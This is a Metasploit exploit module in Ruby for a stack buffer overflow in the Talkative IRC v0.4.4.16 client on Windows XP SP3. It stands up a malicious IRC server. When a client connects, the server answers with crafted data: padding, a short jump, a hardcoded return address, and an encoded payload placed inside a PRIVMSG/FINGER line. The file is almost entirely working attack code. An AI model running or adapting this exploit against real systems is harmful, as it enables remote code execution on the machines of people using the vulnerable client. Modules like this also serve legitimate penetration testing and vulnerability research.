##
# $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
When a specially crafted response string is sent to a client,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'OSVDB', '64582'],
[ 'BID', '34141' ],
[ 'URL', 'http://milw0rm.com/exploits/8227' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x0a\x20\x0d",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 17 2009',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
], self.class)
end
def on_client_connect(client)
res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
client.put(res)
end
def on_client_data(client)
return if ((p = regenerate_payload(client)) == nil)
sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"
client.put(sploit)
handler
service.close_client(client)
end
end